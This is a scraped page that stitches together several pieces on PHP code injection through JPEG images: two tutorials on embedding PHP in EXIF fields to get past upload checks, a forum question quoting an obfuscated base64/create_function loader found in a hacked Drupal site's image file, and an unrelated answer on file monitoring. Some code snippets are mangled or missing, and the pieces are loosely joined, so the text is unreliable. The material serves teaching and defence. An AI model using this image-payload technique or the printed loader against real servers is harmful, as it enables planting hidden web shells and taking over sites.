Php code in image file

Code injection – a simple PHP virus carried in a JPEG image

Code injection – a simple PHP virus carried in a JPEG image

As a developer and administrator for the webhosting company I saw many galleries and download scripts written in PHP. While the scripts were generally similar (used file_get_contents(), fopen(), readfile()), sometimes I’ve seen other, less traditional implementations.

A case of one of my company’s customers inspired me to write this article. Few months ago he reported to me with the problem of sending files via a PHP script. Some of his files were sent successfully but others did not and he could not get to the heart of the matter.

After a brief code inspection, it turned out that script written by him had some undesired, additional functionality. Because he’s been using include() clause to read an images, his script was vulnerable to the code injection!

How does it work?

Imagine a piece of badly-written PHP code responsible for reading the image from disk and sending it to the browser:

// [. ] if(preg_match('~^[a-z_\.0-9]+\.(jp[e]?g|png|gif)$~i', $filename)) < require($filename); >// [. ]

After successfull validation of the filename PHP script tried to display the file in a browser using the require() clause. In most cases, read operation was successful, but some files were corrupted and incomplete.

Читайте также:  Birthday Reminders for August

To explain the riddle you have to view the contents of the downloaded file in a text editor. If the PHP has been configured to display information about warnings and fatal errors (display_errors = on), you can notice a PHP parse error at the end of file contents.

Reading the PHP documentation quickly solves the problem.

When a file is included (or required), the file parsing drops out of PHP mode and into HTML mode at the beginning of the target file, and resumes again at the end. When PHP parses a file, it looks for opening and closing tags (), which tell PHP to start and stop interpreting the code between them.

It’s easy to guess that there’s a chance that included file contains opening tags as it’s valid contents. This creates a risk of a fatal error and remote code injection.

How to exploit this error?

The list of available attacks, of course, depends on the security level of the script. The easiest way is to send a PHP code in plain text file and save it under the extension of the target image/movie/file (eg virus.jpg).

(Un)fortunately many web applications validate not only the file extension but also an internal structure of the uploaded file (eg by checking the dimensions of an image file using getimagesize() function)

In that case you can not simply change the file extension of the virus (eg from virus.php to virus.jpg), because the PHP script will detect bad file format during the upload processs. Fortunately, most binary files may carry the PHP code without losing compatibility with the standard in which they were created.

A simple virus PHP step by step

While the described mechanism can be used in many different file formats, in the example here I will describe an attack on the poorly-protected PHP gallery.

To perform the code injection you just need a JPEG picture, EXIF tag editor and little knowledge of PHP.

I chosed the PHP logo as a virus carrier and this program as an EXIF editor.

To create a virus, open the image with EXIF editor:

Then add a new tag (by pressing the plus button in the green circle), the new editing window will pop up:

From the drop-down list choose DocumentName as a type of the tag and copy-paste the code below as the tag value:

body h1 

THIS IMAGE COULD ERASE YOUR WWW ACCOUNT, it shows you the PHP info instead.
"; phpinfo(); __halt_compiler(); ?>

Click “Commit change (s)” to save the file:

Here is the result of my work, a JPG file with a hidden PHP code (you can download and try it yourself):

From now on, the PHP logo carries a PHP code which is invisible to most picture viewers. You can quickly test the virus by uploading it to a badly-written gallery and displaying it in a browser:

Summary

Most PHP scripts on the Internet use the binary-safe functions to read the files. The above example shows, however, the importance of validating input data, and that existing security mechanisms (such as built-in PHP getimagesize() function) can be easily deceived by an appropriately crafted files.

Ofcourse an image created in this article is not a real virus (because it’s unable to propagate itself or infect other files), but it may serve as a precursor to such a program. Also, this mechanism can be used as an unusual obfuscator, hiding the PHP code in binary files.

Источник

Latest

Injecting executable PHP code to a JPG image file

We’ll show how to inject PHP code into the metadata of JPG files. Next, we’ll see how this code could be executed on a web server. The goal is to demonstrate one of the possible vulnerabilities when a website allows users to upload images.

JPG meatadata

JPG files may contain additional metadata. One such way of storing metadata is through the Exif standard.

EXIF is short for Exchangeable Image File, a format that is a standard for storing interchange information in digital photography image files using JPEG compression.

Exifdata.com

While Exif is meant to store relevant information about the image file, it can be used to store malicious code.

Injecting PHP code to JPG

We’ll use the jhead tool to modify the Exif data of file.jpg .

The -ce option of jhead will launch a text editor to edit the comment section of the metadata.

We can then insert the following PHP code:

The __halt_compiler() instruction is used to stop parsing the rest of the JPG file.

If we explore the hexadecimal contents of the file, we’ll be able to see the information added to file.jpg .

JPG metadata

Website exploitation with injected code

Even after injecting the PHP code, the file remains a JPG file. It can be rendered inside a website using tags with no issue. The injected code will not be executed.

The injected code will be executed if file.jpg is read as a PHP file. The most obvious way this can take place is by storing the file in the server using a php extension. See what happens when we access file.jpg.php.

One way this can happen is by letting users upload files and not verifying the file extension. Then, a valid jpg file with injected code, can be stored in the server as file.jpg.php .

Faulty server configuration can also lead to files stored as .jpg on the server to be read as .php files.

On Nginx servers, an old exploit allowed rendering https://mysite.com/file.jpg as a .php file by trying to access a non-existent php path: https://mysite.com/file.jpg/file.php. The solution involved configuring Nginx to return a 404 message for non-existent files.

A more detailed explanation to fix this issue on Nginx servers can be found here.

Источник

PHP code in image file

My drupal website was getting hacked recently. While cleaning up the malicious scripts, I found that the hacker uploaded an image file (sites/default/files/test.jpg) contains below code.

error_reporting(0); require_once('includes/session.inc'); $serialized = 'a:36:'; $rawData = array_map("base64_decode", unserialize($serialized)); $rawData = implode($rawData); $outputData = create_function(false, $rawData); call_user_func($outputData); 
  1. Since the file extension is .jpg, will the php code get executed?
  2. As I understand, drupal will create a .htaccess files in sites/default/files directory with code php_flag engine off , does that means the all php code in files directory can’t get executed?

Let say I don’t want to update my drupal application to latest version, I was thinking if below make sense?

  1. I change all directory & files permission (except sites/default/files) to 555 or 444. Meaning hacker wouldn’t be able to upload any scripts to my server? Is this consider safe in this way?
  2. I added
  1. The code won’t be executed by the web-server (or fcgi process) unless misconfigured but may be executed by other php files. Normally you scan php files for exploits, and obfuscated code looks suspicious. It’s reasonable to masquerade it to a jpg file and do something like this* in an another (corrupted) php file (which looks less suspicious): $default = «test.jpg»; [. lots of valid code. ] include $default;
  2. Depends on the particular software and configuration. Eg. nginx won’t honor .htaccess files. It is also possible to disable .htaccess evaluation in apache config. The original intent of the file is that what you correctly identified. The exact result depends on the actual configuration. If you have control over the webserver, security options should go to the server-config directly instead of .htaccess anyway.
  3. Changing file permissions won’t help much if it can be changed back. You have to modify the owner of the files and the directories while removing write permission. (Execute flag is not necessary to run a php script, 444 is ok.) You need to do something like chown -R manager . for everything except the upload directory. Of course it means you need a second user (eg. manager) for file uploads and updates, which is different to the user owning the apache php module or fcgi process. It’s always a good practice!
  4. Not really. Order directive only affects on the interpretation order of other directives. Without the respective Allow and Deny directives we don’t know much.

* If there is a dynamic include or eval in the application code, that also can be exploited.

Suggested Topics

Files to monitor in linux
Security, Penetration Testing • linux monitoring • juvenalb

Your best bet is to install a HIPS (Host Intrusion Prevention Application) such as Samhain or AIDE. There are far too many files to monitor and an attacker can (and usually will) try to modify whatever they can. Not to mention there are plenty of people who play/tinker with Linux/BSD/OSX viruses, exploits, and proofs of concepts EDITED FOR AN EXPLANATION AS TO WHAT TO MONITOR AND WHY Every system differs, one can follow guidelines, baselines, but at the end of the day, the importance of what to monitor as at the discretion of the systems administrator, the data custodian, and a range of other people, or just one person. On any system I have been an administrator on, it is my function to maintain that system. I prefer to know as much as I can about the entire system. When I install Host Based Intrusion Prevention, I choose to monitor everything EXCEPT log files. Logfiles change, therefore they’d generate many false positives. As an attacker/pentester, I am aware that many professionals who’ve followed best practices and guidelines, tend to focus on what they perceive (based on risk) as important. This will usually (and mostly ONLY) include directories where binaries are installed. Under Linux/BSD/Solaris: /bin/ /sbin/ /usr/sbin/ /usr/bin/ /usr/local/bin/ /usr/local/sbin/ /opt/bin/ /opt/sbin/ /etc/ These are not the only places to store files, to hide programs, etc. For example, knowing these are the «usual suspects» being monitored, I have no time as an attacker shoving something into /usr/lib, /usr/share, /tmp, and so forth. These files are not going to be detected because no application is watching what is occurring. The time and space to monitor these files/directories is minimal. I would rather be safe than sorry. There may be false positives initially, but this is where you can ween out what are legitimate alerts, and what aren’t, building from there.

Источник

Оцените статью